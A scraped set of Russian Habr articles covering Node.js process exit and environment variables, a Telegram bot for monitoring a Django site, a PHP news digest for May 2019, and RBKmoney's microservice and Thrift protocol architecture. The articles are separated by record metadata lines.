V8 постоянно развивается, то же самое можно сказать и о других движках. Это приводит, в частности, к росту производительности веб-браузеров и платформы Node.js. Производители движков для браузеров постоянно соревнуются, борясь за скорость выполнения кода, продолжается это уже многие годы. Всё это идёт на пользу пользователям и программистам.
### ▍Интерпретация и компиляция
JavaScript считается интерпретируемым языком, но современные движки занимаются далеко не только интерпретацией JS-кода. Они его компилируют. Это веяние можно наблюдать с 2009-го года, когда компилятор JavaScript был добавлен в Firefox 3.5, после чего и другие производители движков и браузеров переняли эту идею.
V8 выполняет компиляцию JavaScript для повышения производительности кода. Со времени появления Google Maps в 2004-м году JavaScript эволюционировал, превратился из языка, на котором, для реализации интерактивных возможностей веб-приложений, обычно писали по несколько десятков строк, в язык, на котором пишут браузерные приложения, состоящие из тысяч или даже сотен тысяч строк кода. Такие приложения могут выполняться в браузере часами, что серьёзно отличается от старых сценариев использования JS, код на котором, например, мог применяться лишь для проверки правильности данных, вводимых в формы. В современных условиях компиляция кода имеет огромный смысл, так как, хотя выполнение этого шага может отложить момент запуска кода, после компиляции код оказывается гораздо более производительным, чем тот, который обрабатывался бы исключительно интерпретатором и запускался бы быстрее, но работал бы медленнее.
Теперь, обсудив некоторые положения, касающиеся JS-движков, интерпретации и компиляции кода, перейдём к практике. А именно, поговорим о том, как завершать работу Node.js-приложений.
Выход из Node.js-приложения
---------------------------
Существует несколько способов завершения работы Node.js-приложений.
Так, при выполнении программы в консоли, завершить её работу можно, воспользовавшись сочетанием клавиш `ctrl+c`. Но нас больше интересуют программные способы завершения работы приложений. И начнём мы, пожалуй, с самой грубой команды выхода из программы, которую, как вы сейчас поймёте, лучше не использовать.
Модуль ядра `process` предоставляет удобный метод, который позволяет осуществить программный выход из Node.js-приложения. Выглядит это так:
```
process.exit()
```
Когда Node.js встречает в коде такую команду, это приводит к тому, что его процесс мгновенно завершается. Это означает, что абсолютно всё, чем занималась программа, будет довольно грубо и безусловно прервано. Речь идёт о невызванных коллбэках, о выполняемых в момент выхода сетевых запросах, о действиях с файлами, об операциях записи в `stdout` или `stderr`.
Если вас такое положение дел устраивает — можете этим методом пользоваться. При его вызове можно передать ему целое число, которое будет воспринято операционной системой как код выхода из программы.
```
process.exit(1)
```
По умолчанию этот код имеет значение 0, что означает успешное завершение работы. Другие коды выхода имеют другие значения, которые могут оказаться полезными для использования их в собственной системе для того, чтобы наладить взаимодействие одних программ с другими.
Подробности о кодах завершения работы программ можно почитать [здесь](https://nodejs.org/api/process.html#process_exit_codes).
Код выхода, кроме того, можно назначить свойству `process.exitCode`. Выглядит это так:
```
process.exitCode = 1
```
После того, как программа завершит работу, Node.js вернёт системе этот код.
Надо отметить, что работа программы самостоятельно завершится естественным образом после того, как она выполнит все заданные в ней действия. Однако в случае с Node.js часто встречаются программы, которые, в идеальных условиях, рассчитаны на работу неопределённой длительности. Речь идёт, например, об HTTP-серверах, подобных такому:
```
const express = require('express')
const app = express()
app.get('/', (req, res) => {
res.send('Hi!')
})
app.listen(3000, () => console.log('Server ready'))
```
Такая программа, если ничего не случится, в теории, может работать вечно. При этом, если вызвать `process.exit()`, выполняемые ей в момент вызова этой команды операции будут прерваны. А это плохо.
Для завершения работы подобных программ нужно воспользоваться сигналом `SIGTERM` и выполнить необходимые действия с помощью соответствующего обработчика.
Обратите внимание на то, что для использования объекта `process` не нужно ничего подключать с помощью `require`, так как этот объект доступен Node.js-приложениям по умолчанию.
Рассмотрим следующий пример:
```
const express = require('express')
const app = express()
app.get('/', (req, res) => {
res.send('Hi!')
})
app.listen(3000, () => console.log('Server ready'))
process.on('SIGTERM', () => {
app.close(() => {
console.log('Process terminated')
})
})
```
Что такое «сигналы»? Сигналы — это средства взаимодействия процессов в стандарте POSIX (Portable Operating System Interface). Они представляют собой уведомления, отправляемые процессу для того, чтобы сообщить ему о неких событиях.
Например, сигнал `SIGKILL` сообщает процессу о том, что ему нужно немедленно завершить работу. Он, в идеале, работает так же, как `process.exit()`.
Сигнал `SIGTERM` сообщает процессу о том, что ему нужно осуществить процедуру нормального завершения работы. Подобные сигналы отправляются из менеджеров процессов, вроде `upstart` или `supervisord`, и из многих других.
Отправить такой сигнал можно и из самой программы, воспользовавшись следующей командой:
```
process.kill(process.pid, 'SIGTERM')
```
Для успешного выполнения подобной команды нужно знать `PID` процесса, который планируется завершить.
Чтение переменных окружения из Node.js
--------------------------------------
Модуль ядра `process` имеет свойство `env`, которое даёт доступ ко всем переменным окружения, которые были заданы на момент запуска процесса.
Вот пример работы с переменной окружения `NODE_ENV`, которая, по умолчанию, установлена в значение `development`:
```
process.env.NODE_ENV // "development"
```
Если, до запуска скрипта, установить её в значение `production`, это сообщит Node.js о том, что программа выполняется в продакшн-окружении.
Подобным образом можно работать и с другими переменными среды, например, с теми, которые установлены вами самостоятельно.
Итоги
-----
Сегодня мы коснулись вопросов браузерного и серверного программирования на JavaScript, поговорили о JS-движках, о том, как завершать работу серверных приложений, и о том, как читать переменные среды из Node.js-программ. В следующий раз мы расскажем о хостингах для Node.js-приложений, о том, как пользоваться Node.js в режиме REPL, о работе с аргументами, которые можно передавать скриптам при их вызове, о взаимодействии с консолью, и об оформлении кода в виде модулей.
**Уважаемые читатели!** Какие учебные материалы по JavaScript вы посоветовали бы начинающим?
[](https://ruvds.com/ru-rub/#order)
|
https://habr.com/ru/post/423153/
| null |
ru
| null |
# Мониторинг состояния своего ресурса при помощи Telegram-бота
Привет, Хабр! Я уже давно наблюдаю за тобой, но все никак не решаюсь сделать свой первый шаг. Теперь мне показалось что я готов. Расскажу о своем опыте работы с **telegram ботом** — последнее время эта тема достаточно популярна на просторах сети, да и на самом Хабре я встречал уже не мало статей. Но по большей части в них рассказывается о принципах создания ботов, и нет ни слова о том, какую практическую пользу можно из этих самых ботов извлечь.
У меня был опыт создания систем мониторинга состояния серверов, с возможностью настройки стратегий тестирования и отправкой коротких sms сообщений с целью информирования о неполадках на одном из наблюдаемых серверов, но все это довольно не удобно, а так же платно — каждое сообщение стоит денег.
Что такое «система мониторинга состояния»? По своей архитектуре это должен быть небольшой модуль, который отвечает за проверку состояния и за информирование об отклонениях от нормального состояния.
Есть множество готовых комплексных решений, включающих в себя такую систему мониторинга. Это и знаменитый **zabbix** и **nagios**, и **yandex метрика** и еще огромная куча аналогичных прекрасных инструментов.
### Аналитика
На этапе создания сайта любой разработчик использую свой локальный сервер разработки. Но как только проект приходит в рабочее состояние, его тут же хочется выложить на production сервер. И часто именно это становится большой ошибкой, ведь как только ваш сайт становится доступен для пользователей сети интернет, вы попадаете в прекрасный мир приключений и вместо разработки начинаете заниматься настройкой. И вот тут, неволей, снова вспоминается система контроля состояния. Очень удобно, когда о каких-то трудностях или проблемах узнаешь сразу и от своего информатора.
Первое время любой свежий сайт мало интересен пользователям. Однако при достаточных усилиях или денежных вложениях (обычно и то и другое) на ресурсе появляется трафик.
Мы уже поместили в наш код скрипт *google analytics* и можем наблюдать за динамикой изменения нашей аудитории. Но этого не всегда бывает достаточно. Иногда хочется знать больше — хочется контролировать весь процесс нахождения пользователя на сайте, вести его, направлять. Анализируя заголовки запросов и ответов можно получить исчерпывающую информацию о том, что делал каждый пользователь, когда и зачем. Для этого рано или поздно вы начинаете читать логи вашего веб сервера — иногда там скрыта ошибка, которая поможет исправить вам серьезный баг, а иногда просто интересно понять: кто же все-таки спамит вашу гостевую книгу?
### Бот
Python и django идеально подходят для работы с telegram ботом. Что такое бот? В этом контексте, бот — это интерфейс взаимодействия между вашим приложением и клиентом telegram. Этот интерфейс позволит отправлять сообщения в зависимости от бизнес логики вашего приложения.
Я не буду расписывать здесь весь процесс создания и настройки веб приложения на django — врят ли у меня получится сделать это лучше чем у создателей официальной докумментации. Скажу только, что это не должно занять у вас больше десяти минут, если вы уже работали с этим фреймворком.
Хочется сказать спасибо Павлу Дурову и его команде — благодаря возможности установки webHook, работать с ботом стало максимально просто и удобно. Все что необходимо это:
* Создать своего бота при помощи интерфейса BotFather в клиенте телеграм и настроить его, следуя инструкциям папы бота
* Установить webHook, используя свой token, который папа бот поможет вам получить. Для этого переходим по url: *[api.telegram.org/bot](https://api.telegram.org/bot){{ token }}/setWebhook?url={{ url }}*, где *token* — ваше кольцо аутентификации, а *url* — это ссылка, запрос на которую обрабатывает контроллер вашего телеграм бота. Отмечу так же, что использоваться может только https протокол, т.е. необходим SSL.
* Создать контроллер, обрабатывающий url из пункта 2, создать бизнес логику для вашего бота. Привязать контроллер к обработчику url. В часть url необходимо так же добавить свой *token* чтобы обеспечить другие люди не могли слать запросы на этот адрес.
* Добавить бота в свой список контактов. Это можно сделать через поиск в клиенте telegram или используя ссылку *@{{ bot\_name }}*
Далее все сводится к простой схеме. Как только вашему боту приходит какое-то сообщение, на *url*, установленный в webHook приходит запрос с информацией об этом сообщении. В частности там есть информация о дате сообщения, об id чата отправителя, о самом отправителе. Эту информацию лучше сохранять в базу данных, чтобы случайно не потерять — с ней и нужно работать. Мы программируем бота таким образом, что если ему приходит сообщение, которое является командой — он выполняет какое-либо действие. Скажем, я хочу, чтобы бот отправлял мне сообщения в telegram с информацией о каждом запросе, что приходит на мой сайт. Для этого нужно задать ему всего две команды, например:
*/requests* и */stop\_requests*. Первая команда добавит в базу подписку на рассылку информации о запросах на сайт, вторая команда — удалит эту подписку. Далее необходимо создать свой context processor — это можно сделать в большинстве современных **MVC фреймворков**. В его коде необходимо обработать подписки на рассылку и далее отправить сообщения в чат с указанными id, который мы предварительно сохранили в базу, когда нам пришел запрос на наш **webHook url**. Так же мы можем оформлять подписки на абсолютно любые события на своем сайте: регистрации пользователя (удобно реализовывать через сигналы), комментарии, ошибки. Простор для творчества просто бездонный. На своем ресурсе [born2fish](https://born2fish.ru/), где можно редактировать информацию о реках и озерах Мира, я использовал бота для получения информации о том, когда сущность водоема кто-то изменял. Это помогает оперативно получать сообщения о водоемах, требующих проверки модератором.
Сама отправка сообщения зависит от реализации. На python она выглядит так:
```
def _send_msg(bot, chat_id, message):
bot.sendMessage(chat_id=chat_id, text=message)
```
А вот так может выглядеть функция обработки подписок и отправки информации о запросе:
```
def send_requests_subscriptions(request, city):
""" send Telegram messages to subscribed users """
bot_message = request.META['HTTP_USER_AGENT'] + " request from " + get_client_ip(
request) + " (" + str(city['city']) + ") url = [" + request.path_info + "]"
subscriptions = RequestsSubscription.objects.all()
for subscr in subscriptions:
_send_msg(bot=bot, chat_id=subscr.chat_id, message=bot_message)
```
Этот метод позволяет отобразить пользователю помощь, которая считывается из файла help.md:
```
def _display_help():
return render_to_string('help.md')
```
### Вместо заключения
На словах все кажется очень простым, но отмечу, что таких ботов трудно тестировать. Оптимальным решением станет Unit Test, в котором вы будете симулировать запрос от telegram и проверять работу бизнес логики бота.
Что еще может пригодится? Не всегда информация в профиле пользователя telegram заполнена полностью, так что следует проверять значения на *None* перед сохранением в базу, чтобы не получить *IndexError*.
Вы можете добавить своего бота в группу. Это поможет не рассылать информацию каждому пользователю, а отправлять ее в единое место, откуда она уже будет доступна всем желающим. Сделать это можно через интерфейс клиента telegram, в настройках вашего бота и вашей группы.
В качестве примера хочу поделиться ссылкой на своего тестового бота: **@born2fishBot**, Напишите ему */help* чтобы получить список возможных команд.
**Телеграм** — замечательное приложение, которое открывает новые горизонты программистам, администраторам да и простым пользователям. Используя нововведения, можно получить ощутимую выгоду от использования telegram ботов, при совсем небольших временных затратах на разработку. Получайте все самые свежие данные о состоянии вашего веб ресурса первым. И пусть эти новости будут **только** приятные.
|
https://habr.com/ru/post/316148/
| null |
ru
| null |
# PHP-Дайджест № 156 (6 – 20 мая 2019)
[](https://habr.com/ru/post/452560/)
Свежая подборка со ссылками на новости и материалы. В выпуске: PHPRussia, PHP fwdays'19, WordPress 5.2, о PHP в 2019, новости из PHP Internals, порция полезных инструментов, и многое другое.
Приятного чтения!
### Новости и релизы
* [PHP Russia 2019](https://phprussia.ru/2019/) — Конференция прошла мощно и, надеюсь, станет ежегодной! Фото можно глянуть в [FB](https://www.facebook.com/pg/PHRussiaConf/photos/?tab=album&album_id=352506335622077) и [VK](https://vk.com/album-177460934_258809129). [Слайды доступны](https://www.dropbox.com/sh/8f5gtb6ltyoz0ih/AACWbJ1F8_DGk66XomaWQLmya?dl=0) уже сейчас, и скоро будут видеозаписи докладов.
* [PHP fwdays'19 – Киев, 1 июня](https://fwdays.com/en/event/php-fwdays-2019)
[](https://fwdays.com/en/event/php-fwdays-2019)
Совсем скоро пройдёт ещё одна отличная конференция! [Программа](https://fwdays.com/en/event/php-fwdays-2019#speakers-event) сформирована, среди докладчиков: Fabien Potencier (Symfony), Marco Pivetta (ZF, Doctrine), Дмитрий Науменко (Yii), и много других спикеров в 3 потока. По традиции, специально для читателей PHP-Дайджеста скидка 15% по промокоду: **PHP-digest-fwdays**.
* [WordPress 5.2 “Jaco”](https://wordpress.org/news/2019/05/jaco/) — В релизе минимальная версия PHP повышена до PHP 5.6.20, добавлена защита от фатальных ошибок в плагинах и темах, [безопасные обновления](https://paragonie.com/blog/2019/05/wordpress-5-2-mitigating-supply-chain-attacks-against-33-internet).
### PHP Internals
* [[RFC] Change the precedence of the concatenation operator](https://wiki.php.net/rfc/concatenation_precedence) — Принято предложение о понижении приоритета оператора конкатенации `.`. Поведение будет изменено в PHP 8, а в PHP 7.4 будет бросаться предупреждение, при использовании выражений с `.` перед `+` или `-` без скобок.
```
echo "sum: " . $a + $b;
// текущее поведение
echo ("sum: " . $a) + $b;
// поведение в PHP 8
echo "sum :" . ($a + $b);
```
* [[RFC] Numeric Literal Separator](https://wiki.php.net/rfc/numeric_literal_separator) — Предлагается добавить возможность использования символа `_` в качестве разделителя в числах, для повышения читаемости:
```
$i = 197_823_459; // 197823459
```
Предложение уже [проваливалось на голосовании](https://wiki.php.net/rfc/number_format_separator#vote) два года назад, но с тех пор подобная возможность была добавлена в Python, JavaScript и TypeScript.
*  [Подкаст PHP Internals News #10](https://phpinternals.news/10) — С Никитой Поповым о принципе подстановки Лисков и приоритетах операторов.
### Инструменты
* [bramus/composer-autocomplete](https://github.com/bramus/composer-autocomplete) — Автодополнение команд composer в командной строке, в том числе сценариев из секции scripts.
* [krakjoe/parallel](https://github.com/krakjoe/parallel) — Расширение от автора pthreads с упрощённым интерфейсом для использования многопоточности. В новой версии каналы и события для общения между потоками. [Пример использования](https://gist.github.com/krakjoe/0ee02b887288720d9b785c9f947f3a0a).
* [lezhnev74/openapi-psr7-validator](https://github.com/lezhnev74/openapi-psr7-validator) — Валидирует PSR-7 сообщения (HTTP запросы/ответы) на основе спецификации OpenAPI.
* [nunomaduro/phpinsights](https://github.com/nunomaduro/phpinsights) — Консольный инструмент прогоняет проверки качества кода и выводит в красивом виде.
* [ircmaxell/phpvm](https://github.com/ircmaxell/phpvm) — Менеджер версий PHP (концепт), аналог rvm для Ruby.
* [paragonie/multi\_factor](https://github.com/paragonie/multi_factor) — Безопасная мультифакторная аутентификация для ваших PHP приложений.
* [BitOne/php-meminfo](https://github.com/BitOne/php-meminfo) — Расширение, которое выводит информацию об использовании памяти и предназначено для обнаружения утечек.
### Symfony
* [Неделя Symfony #646 (13-19 May 2019)](https://symfony.com/blog/a-week-of-symfony-646-13-19-may-2019)
* В Symfony 5, [вероятно](https://github.com/symfony/symfony/issues/31484), нельзя будет указывать зависимость symfony/symfony в composer.json, а только перечислять конкретные пакеты.
* [Почему не стоит использовать Event Listener'ы из Symfony](https://www.tomasvotruba.cz/blog/2019/05/16/don-t-ever-use-listeners/)
### Laravel
*  [Пишем меньше дублирующего кода, используя биндинг в Laravel](https://habr.com/ru/post/451462/)
### Yii
*  [Генератор CRUD-виджета для Yii](https://habr.com/ru/post/450696/)
### Async PHP
* [apisearch-io/symfony-async-kernel](https://github.com/apisearch-io/symfony-async-kernel) — Концепт асинхронного адаптера для Symfony Http Kernel. [Серия постов](https://medium.com/@apisearch/symfony-and-reactphp-series-chapter-1-28e90bde6082) в поддержку.
* [clue/reactphp-sqlite](https://github.com/clue/reactphp-sqlite) — Асинхронная библиотека для работы с SQLite базой. Работает через дочерний процесс. Подробнее в [посте](https://www.lueck.tv/2019/introducing-reactphp-sqlite).
*  [Асинхронный PHP и история одного велосипеда](https://habr.com/ru/post/451916/) ([service-bus](https://github.com/php-service-bus/service-bus))
### Материалы для обучения
* [PHP в 2019](https://stitcher.io/blog/php-in-2019) — Сегодня PHP совсем не тот, что был [7 лет назад](https://eev.ee/blog/2012/04/09/php-a-fractal-of-bad-design/). В посте обзор экосистемы для тех, кто не в теме PHP или застрял в легаси.
* [Новое в PHP 7.4](https://stitcher.io/blog/new-in-php-74)
* Пример использования PSR-14: [многослойное кэширование](https://steemit.com/php/@crell/psr-14-example-layered-caching)
* [Пишем Serverless приложение на Lumen для AWS Lambda и DynamoDB](https://medium.com/@igliop/building-a-serverless-lumen-api-with-aws-lambda-and-dynamodb-9180c523c40a)
*  [Памятка по горячим клавишам PhpStorm на русском](https://github.com/LoginovIlya/PhpStorm-hotkeys-ru) — Прислал [tommyv888](https://habr.com/ru/users/tommyv888/).
*  [FunPHP#6: Ещё немного магии в PHP7](https://medium.com/@frontman/funphp-6-%D0%B5%D1%89%D0%B5-%D0%BD%D0%B5%D0%BC%D0%BD%D0%BE%D0%B3%D0%BE-%D0%BC%D0%B0%D0%B3%D0%B8%D0%B8-%D0%B2-php7-6d9a05e1d1a5) — Больше магии в [докладе Александра Лисаченко](https://www.dropbox.com/sh/8f5gtb6ltyoz0ih/AADW7414TwImJeCubzLsM_Mea/1%20%D0%97%D0%B0%D0%BB%20M?dl=0&preview=4.%D0%A8%D0%BA%D0%BE%D0%BB%D0%B0+%D0%BC%D0%B0%D0%B3%D0%B8%D0%B8+PHP_%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B0%D0%BD%D0%B4%D1%80+%D0%9B%D0%B8%D1%81%D0%B0%D1%87%D0%B5%D0%BD%D0%BA%D0%BE_%D0%B2%D0%B5%D1%80.1.pdf&subfolder_nav_tracking=1) на PHPRussia.
*  [PHP-модуль для работы с иерархическими данными в InterSystems IRIS](https://habr.com/ru/company/intersystems/blog/443440/)
*  [Исправляем паттерн проектирования — Singleton в PHP](https://habr.com/ru/post/450626/)
*  [В PHP 7.4 войдут стрелочные функции (сокращённая запись анонимных функций)](https://habr.com/ru/post/450544/)
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:[email protected]) или в [твиттер](https://twitter.com/pronskiy).
Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 155](https://habr.com/ru/post/450642/)
|
https://habr.com/ru/post/452560/
| null |
ru
| null |
# RBKmoney Payments под капотом — микросервисы, протоколы и конфигурация платформы
Привет Хабр! RBKmoney снова выходит на связь и продолжает цикл статей о том, как написать платежный процессинг своими руками.
Хотелось сразу погрузиться в подробности описания реализации платежного бизнес-процесса как конечного автомата, показать примеры такого автомата с набором событий, особенности реализации… Но, похоже, без еще пары-тройки обзорных статей не обойтись. Уж слишком велика оказалась предметная область. В этом посте будут раскрыты нюансы работы и взаимодействия между микросервисами нашей платформы, взаимодействие с внешними системами и то, как мы управляем бизнес-конфигурацией.
### Макросервис
Наша система состоит из множества микросервисов, которые, реализуя каждый свою законченную часть бизнес-логики, взаимодействуют друг с другом и вместе образуют макросервис. Собственно, развернутый в дата-центре макросервис, подключенный к банкам и другим платежным системам — это и есть наш платежный процессинг.
#### Шаблон микросервиса
Мы пользуемся единым подходом к разработке любого микросервиса на каком бы языке он не был написан. Каждый микросервис представляет из себя Docker-контейнер, который содержит:
* само приложение, реализующее бизнес-логику, написанное на Erlang или Java;
* RPClib — библиотека, реализующая коммуникацию между микросервисами;
+ мы используем Apache Thrift, его основные преимущества — готовые клиент-серверные библиотеки и возможность строго типизированного описания всех публичных методов, которые отдает каждый микросервис;
+ вторая особенность библиотеки — это наша реализация [Google Dapper](https://ai.google/research/pubs/pub36356), которая позволяет нам возможность быстрой трассировки запросов простым поиском в Elasticsearch. Первый микросервис, получивший запрос от внешней системы генерирует уникальный `trace_id`, который сохраняется каждым следующим по цепочке запросов. Также, мы генерируем и сохраняем `parent_id` и `span_id`, что позволяет построить дерево запросов, визуально контролируя всю цепочку микросервисов, участвующих в обработке запроса;
+ третья особенность — активно используем передачу на транспортном уровне разной информации о контексте запроса. Например, дедлайны (устанавливаемый на клиенте ожидаемый срок жизни запроса), или от чьего имени мы выполняем вызов того или иного метода;
* Consul template — агент service discovery, который поддерживает информацию о расположении, доступности и состоянии микросервиса. Друг друга микросервисы находят по DNS-именам, TTL зоны нулевое, умерший или не прошедший healthcheck сервис перестает резолвиться и таким образом получать трафик;
* логи, которые пишет приложение в понятном для Elasticsearch формате в локальный файл контейнера и `filebeat`, который запущен на хостовой по отношению к контейнеру машине, подхватывает эти логи и отправляет их в кластер Elasticsearch;
+ поскольку мы реализовываем платформу по Event Sourcing модели, полученные цепочки логов также используются для визуализации в виде разных Grafana-дашбордов, что позволяет уменьшить время на реализацию разных метрик (отдельные метрики мы, впрочем, также используем).
При разработке микросервисов мы используем специально придуманные нами ограничения, призванные решить задачу как высокой доступности платформы, так и ее отказоустойчивости:
* строгие лимиты памяти для каждого контейнера, при выходе за лимиты — ООМ, большинство микросервисов живут в рамках 256-512М. Это заставляет более мелко дробить реализацию бизнес-логики, предохраняет от дрейфа в сторону монолита, уменьшает стоимость точки отказа, дополнительным плюсом дает возможность работать на дешевом железе (платформа развернута и работает на недорогих одно-двухпроцессорных серверах);
* как можно меньшее количество stateful-микросервисов и как можно большее количество stateless-реализаций. Это позволяет решать задачи отказоустойчивости, скорости восстановления и вообще, минимизации мест с потенциально непонятным поведением. Особенно это становится важно с увеличением срока эксплуатации системы, когда накапливается большое легаси;
* подходы let it crash и "это обязательно сломается". Мы знаем, что любая часть нашей системы обязательно выйдет из строя, поэтому проектируем так, чтобы это не сказалось на общей корректности информации, накопленной в платформе. Помогает минимизировать количество неопределенных состояний в системе.
*Наверняка знакомая многим, кто интегрируется с третьими сторонами ситуация. На запрос о списании денег мы ожидали ответ от третьей стороны согласно протоколу, а пришел совершенно другой ответ, не описанный ни в какой спецификации, который неизвестно как интерпретировать.*
Мы в такой ситуации убиваем конечный автомат, обслуживающий данный платеж, любые действия над ним снаружи будут получать ошибку 500. А внутри мы выясняем текущее состояние платежа, приводим состояние автомата в соответствие с действительностью и оживляем конечный автомат.
Protocol Oriented Development
-----------------------------
На момент написания статьи в нашем Service Discovery зарегистрировано 636 различных проверок для сервисов, обеспечивающих функционирование платформы. Даже если учесть, что на один сервис идет несколько проверок, а также, что большинство stateless-сервисов работает как минимум в тройном экземпляре, то все равно получается под полсотни приложений, которые надо уметь как-то связать друг с другом и при этом не провалиться в RPC-ад.
Ситуация осложняется тем, что у нас в стеке три языка разработки — Erlang, Java, JS и им всем нужно уметь прозрачно между собой общаться.
Первая задача, которую нужно было решить — это спроектировать правильную архитектуру обмена данными между микросервисами. За основу мы взяли Apache Thrift. Все микросервисы обмениваются трифтовыми бинарниками, в качестве транспорта используем HTTP.
Трифтовые спецификации размещаем в виде отдельных репозиториев в нашем гитхабе, поэтому они доступны любому разработчику, имеющему к ним доступ. Изначально использовали один общий репозиторий для всех протоколов, но со временем пришли к тому, что это неудобно — совместная параллельная работа над протоколами превратилась в постоянную головную боль. Разные команды и даже разные разработчики вынуждены были договариваться о наименовании переменных, попытка разделения на namespace-ы также не помогла.
В целом, можно сказать, что у нас protocol-driven разработка. Перед началом любой реализации мы вырабатываем будущий протокол микросервиса в виде трифт-спецификации, проходим 7 кругов ревью, привлекая будущих клиентов этого микросервиса, и получаем возможность одновременного старта разработки нескольких микросервисов параллельно, ведь мы знаем все его будущие методы и уже можем писать их обработчики, опционально используя моки.
Отдельным шагом в процессе разработки протокола идет security-review, где ребята смотрят со своей, пентестерской точки зрения на нюансы разрабатываемой спецификации.
Также мы сочли целесообразным выделить отдельную роль владельца протоколов в команде. Задача сложная, человеку приходится держать в голове специфику работы всех микросервисов, но она окупается большим порядком и наличием единой точки эскалации.
Без финального одобрения pull request этими сотрудниками протокол не может быть объединен в мастер-ветку. В гитхабе для этого есть очень удобная функциональность — [codeowners](https://help.github.com/en/articles/about-code-owners), пользуемся ей с удовольствием.
Таким образом мы решили проблему общения между микросервисами, возможных проблем непонимания, что за микросервис появился в платформе, и для чего он нужен. Этот набор протоколов, пожалуй, единственная часть платформы, где мы безусловно выбираем качество против стоимости и скорости разработки, ведь реализацию одного микросервиса переписать можно относительно безболезненно, а протокол, на котором завязано несколько десятков — уже дорого и больно.
Попутно аккуратное ведение протоколов помогает в решении задачи документирования. Разумно подобранные названия методов и параметров, немного комментариев, и самодокументированная спецификация экономит кучу времени!
Для примера так выглядит спецификация метода одного из наших микросервисов, позволяющего получить список событий, произошедших в платформе:
```
/** Идентификатор некоторого события */
typedef i64 EventID
/* Event sink service definitions */
service EventSink {
/**
* Получить последовательный набор событий из истории системы, от более
* ранних к более поздним, из диапазона, заданного `range`. Результат
* выполнения запроса может содержать от `0` до `range.limit` событий.
*
* Если в `range.after` указан идентификатор неизвестного события, то есть
* события, не наблюдаемого клиентом ранее в известной ему истории,
* бросится исключение `EventNotFound`.
*/
Events GetEvents (1: EventRange range)
throws (1: EventNotFound ex1, 2: base.InvalidRequest ex2)
/**
* Получить идентификатор наиболее позднего известного на момент исполнения
* запроса события.
*/
base.EventID GetLastEventID ()
throws (1: NoLastEvent ex1)
}
/* Events */
typedef list Events
/\*\*
\* Событие, атомарный фрагмент истории бизнес-объекта, например инвойса.
\*/
struct Event {
/\*\*
\* Идентификатор события.
\* Монотонно возрастающее целочисленное значение, таким образом на множестве
\* событий задаётся отношение полного порядка (total order).
\*/
1: required base.EventID id
/\*\*
\* Время создания события.
\*/
2: required base.Timestamp created\_at
/\*\*
\* Идентификатор бизнес-объекта, источника события.
\*/
3: required EventSource source
/\*\*
\* Содержание события, состоящее из списка (возможно пустого)
\* изменений состояния бизнес-объекта, источника события.
\*/
4: required EventPayload payload
/\*\*
\* Идентификатор события в рамках одной машины.
\* Монотонно возрастающее целочисленное значение.
\*/
5: optional base.SequenceID sequence
}
// Exceptions
exception EventNotFound {}
exception NoLastEvent {}
/\*\*
\* Исключение, сигнализирующее о непригодных с точки зрения бизнес-логики входных данных
\*/
exception InvalidRequest {
/\*\* Список пригодных для восприятия человеком ошибок во входных данных \*/
1: required list errors
}
```
### Thrift console client
Иногда перед нами стоят задачи вызова тех или иных методов нужного микросервиса напрямую, например, руками из терминала. Это бывает полезно для отладки, получения какого-то набора данных в сыром виде или в том случае, когда задача настолько редка, что разработка отдельного пользовательского интерфейса нецелесообразна.
Поэтому мы разработали для себя инструмент, совмещающий в себе функции `curl`, но позволяющего делать трифт-запросы в виде JSON-структур. Назвали мы его соответственно — `woorl`. Утилита универсальная, в нее достаточно параметром командной строки передать расположение любой трифт-спецификации, остальное она сделает сама. Очень удобная утилита, можно прямо из терминала запустить платеж, например.
Так выглядит обращение напрямую в микросервис платформы, отвечающий за управление заявками (например, на создание магазина). Я запросил данные по своей тестовой учетной записи:
*Наблюдательные читатели наверняка заметили одну особенность на скриншоте. Нам тоже это не нравится. Надо прикручивать авторизацию трифтовых вызовов между микросервисами, надо по-хорошему TLS туда запилить. Но пока ресурсов, как всегда, не хватает. Ограничились тотальным огораживанием периметра, в котором живут процессинговые микросервисы.*
Протоколы общения с внешними системами
--------------------------------------
Опубликовать наружу трифт-спецификации и заставить наших мерчантов общаться по бинарному протоколу мы посчитали слишком жестоким по отношению к ним. Нужно было выбрать человекочитаемый протокол, который бы позволил удобно интегрироваться с нами, проводить дебаг и иметь возможность удобного документирования. Мы выбрали стандарт Open API, также известный как [Swagger](https://swagger.io/).
Возвращаясь к проблеме документирования протоколов, Swagger позволяет довольно быстро и дешево решить эту задачу. В сети есть много реализаций красивого оформления Swagger-спецификации в виде документации разработчика. Мы просмотрели все что смогли найти и в итоге выбрали [ReDoc](https://github.com/Rebilly/ReDoc), JS-библиотеку, которая принимает на вход swagger.json, а на выходе генерирует вот такую трехколоночную документацию: <https://developer.rbk.money/api/>.
Подходы в разработке обоих протоколов, внутреннего Thrift и внешнего Swagger у нас абсолютно идентичны. Это добавляет времени к разработке, но окупается на долговременном периоде.
Также нам нужно было решить еще одну важную задачу — мы не только принимаем запросы на списание денег, но и отправляем их дальше — в банки и платежные системы.
Заставить их реализовать наш трифт было бы еще более неосуществимой задачей, чем отдать это на публичные API.
Поэтому, мы придумали и реализовали концепцию адаптеров протоколов. Это просто еще один микросервис, который одной своей стороной реализует нашу внутреннюю трифт-спецификацию, которая едина для всей платформы, а второй — специфичный для конкретного банка или ПС внешний протокол.
*Проблемы, возникающие при написании подобных адаптеров, когда приходится взаимодействовать с третьими сторонами — очень богатая на разные истории тема. В своей практике мы встречали разное, ответы вида: "вы, конечно, можете реализовать эту функцию так, как описано в протоколе, который мы вам дали, но я никаких гарантий не даю. Вот выйдет с больничного через 2 недели наш человек, который за все это отвечает, и вы у него подтверждения попросите". Также, нередки подобные ситуации: "вот вам логин и пароль от нашего сервера, зайдите туда и сами все настройте".*
*Особенно интересным мне кажется случай, когда мы интегрировались с платежным партнером, который, в свою очередь, до этого интегрировался с нашей платформой и успешно проводил через нас платежи (такое нередко бывает, бизнес-специфика платежной отрасли). На наш запрос о предоставлении тестовой среды партнер ответил, что как таковой тестовой среды у него нет, но он может зароутить трафик на интеграцию с РБК, то есть с нашей платформой, где мы и сможем затеститься. Вот так мы через партнера интегрировались сами с собой однажды.*
